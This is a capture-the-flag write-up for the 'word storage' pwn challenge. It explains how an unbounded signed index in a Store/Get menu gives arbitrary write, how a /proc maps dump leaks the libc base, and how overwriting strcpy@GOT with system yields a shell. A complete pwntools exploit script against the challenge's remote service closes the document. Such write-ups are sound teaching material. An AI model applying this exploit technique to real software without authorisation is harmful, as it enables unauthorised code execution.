word storage
word storage
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-17 | Status: Solved Techniques: got_overwrite, libc_base_leak_from_maps, libc_fingerprint_by_got_offset, ret2system, strcpy_got_hijack, unbounded_signed_index
Summary
Task: 64-bit NON-PIE pwn with a 5-cell word storage; Store/Get take an unbounded signed array index leading to arbitrary write+read at data+index*8, and a startup maps dump leaks the libc base. Solution: leak libc from /proc/PPID/maps, plant /bin/sh in data[0], overwrite strcpy@GOT with libc system via a negative index, then trigger a Store to fire system("/bin/sh").
word storage — pwn_spbctf
Description
Отличное хранилище для всех недосказанных слов.
("A great storage for all unsaid words.")
A 64-bit x86-64 ELF word_storage.elf exposing a 5-cell "word storage" with a
Store/Get menu. Remote service: nc 109.233.56.90 11671. The challenge ships
libc-2.31.so (Debian glibc 2.31-3). Goal: pop a shell and read /flag.
Binary protections: NON-PIE (base 0x400000), NX, Partial RELRO, NO stack
canary.
Analysis
Key functions:
main@0x4011c5,menu@0x4011ad,show_memory@0x401182.
Startup leak. show_memory() runs system("cat /proc/$PPID/maps") at
startup, printing the full process memory map. The first line containing
/libc-2.31.so gives the libc base as its start address. On this service the
base was static (0x7ffff7de3000, ASLR effectively off), but the exploit parses
it from the dump anyway so it is robust.
Globals / GOT layout (objdump -R):
dataarray @0x4040a0in.bss, 8-byte cells.strcpy@got = 0x404018,puts@got = 0x404020,system@got = 0x404028,printf@got = 0x404030.
The bug — unbounded signed index. The menu loop:
- choice
1(Store):scanf("%d", &index)with no bounds check (signed, so negative allowed),read(0, word=rbp-0xa, 0xa), thenstrcpy(data + index*8, word). => arbitrary write. - choice
2(Get):scanf("%d", &index)(no bounds),puts(data + index*8). => arbitrary read / leak.
Because the index is unbounded and signed, a negative index reaches the GOT,
which sits below data:
strcpy@gotindex =(0x404018 - 0x4040a0) / 8 = -17puts@gotindex =(0x404020 - 0x4040a0) / 8 = -16system@gotindex =(0x404028 - 0x4040a0) / 8 = -15
Libc fingerprinting. Reading the resolved puts@got via Get(-16) showed a
puts offset of 0x766b0, which exactly matches the provided Debian glibc
2.31-3 (puts=0x766b0, system=0x48f20, /bin/sh=0x18a156). This confirms the
remote libc is the shipped Debian build (notably different from magic_ret on
the same host, which used Ubuntu's libc).
Solution
Arbitrary write to the GOT → redirect strcpy to system, with the source
argument pointing at a planted "/bin/sh":
- Parse the libc base from the startup
mapsdump;system = base + 0x48f20. - Store
"/bin/sh\0"intodata[0](index0, address0x4040a0). - Overwrite
strcpy@got(index-17) withsystem. Send the word asp64(system)[:6] + b"\x00". - Trigger: Store with index
0. The callstrcpy(data[0], word)is nowsystem(data[0]) = system("/bin/sh")→ shell →cat /flag.
Two key pitfalls
(a) Target strcpy@got, NOT puts@got. The menu calls puts every loop
iteration (the "You have 5 cells..." banner). Overwriting puts → system would
make the menu's own puts run system(menu_string) prematurely with the
wrong argument. strcpy is only invoked on a deliberate Store, giving controlled
triggering with rdi = data + index*8 — which we point at "/bin/sh".
(b) strcpy NUL-termination. strcpy copies from the source until a NUL in
the source. Sending only the 6 address bytes (no NUL) left a stale leftover
byte ('h' = 0x68, from the earlier "/bin/sh") trailing into the GOT entry's
7th byte → the stored pointer became 0x0068_7ffff7e2bf20 → bad pointer →
SIGSEGV. Fix: send p64(system)[:6] + b"\x00" so strcpy writes a clean
6-byte little-endian address and the NUL zeroes the high bytes (correct for a
6-byte userspace address). Verified by reading the GOT back via Get(-17).
Solver
python read-only • copy allowed#!/usr/bin/env python3 # word_storage.elf (NON-PIE, no canary): startup show_memory() prints /proc/PPID/maps # (leaks libc base). Menu: 1=Store -> scanf index (UNBOUNDED signed!) then # strcpy(data + index*8, word); 2=Get -> puts(data + index*8). data=0x4040a0. # ARBITRARY WRITE via negative index -> overwrite a GOT entry. # Remote libc = the PROVIDED Debian glibc 2.31-3 (puts@got offset 0x766b0 matches; # system=0x48f20). # # Strategy: # 1. Store "/bin/sh\0" at data[0] (0x4040a0). # 2. Overwrite strcpy@got (0x404018, index -17) with libc system. The word is sent # as p64(system)[:6] + b"\x00" so strcpy NUL-terminates and writes a CLEAN 6-byte # address (without the trailing NUL the source buffer leftovers leak an extra byte # into the GOT high byte -> bad pointer -> segfault). # 3. Trigger: Store index 0 -> strcpy(data[0], word) is now system(data[0]) = # system("/bin/sh"). (Using strcpy@got, NOT puts@got, so the menu's own puts() calls # keep working until the deliberate trigger.) from pwn import * context.arch = 'amd64'; context.log_level = 'info' HOST, PORT = '109.233.56.90', 11671 DATA = 0x4040a0 STRCPY_GOT = 0x404018 IDX_STRCPY = (STRCPY_GOT - DATA)//8 # -17 SYSTEM_OFF = 0x48f20 # Debian glibc 2.31-3 (provided libc) def store(io, index, word): io.sendline(b'1'); io.recvuntil(b'Enter index: '); io.sendline(str(index).encode()) io.recvuntil(b'Enter word: '); io.send(word); io.recvuntil(b'> ') io = remote(HOST, PORT) maps = io.recvuntil(b'> ') # maps dump + first menu base = [int(l.split(b'-')[0], 16) for l in maps.split(b'\n') if b'/libc-2.31.so' in l][0] system = base + SYSTEM_OFF log.success('libc base = %#x system = %#x' % (base, system)) store(io, 0, b'/bin/sh\x00') # data[0] = "/bin/sh" store(io, IDX_STRCPY, p64(system)[:6] + b'\x00') # strcpy@got = system (clean 6 bytes) # trigger io.sendline(b'1'); io.recvuntil(b'Enter index: '); io.sendline(b'0') io.recvuntil(b'Enter word: '); io.send(b'x\x00') # strcpy(data[0],..) -> system("/bin/sh") io.sendline(b'cat /flag /flag.txt 2>/dev/null; id') print(io.recvall(timeout=5).decode(errors='replace')) io.close()